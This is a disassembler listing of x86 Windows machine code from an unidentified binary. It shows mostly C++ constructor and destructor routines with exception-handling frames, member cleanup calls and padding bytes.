		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41683B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41683B:				; CODE XREF: sub_416820+11j
		retn
sub_416820	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41688B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41688B:				; CODE XREF: sub_416870+11j
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db '',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h
		dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_439FE1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C00	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416C17
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416C17:				; CODE XREF: sub_416C00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C30	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416C48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416C48:				; CODE XREF: sub_416C30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C60	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416C77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C77:				; CODE XREF: sub_416C60+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C90:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416CA8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CA8:				; CODE XREF: ___:00416C9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CC0	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416CF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CF8:				; CODE XREF: ___:00416CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A1C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416FB0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_416FB0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417020	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417540	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417540	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178F0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A40	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417A40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

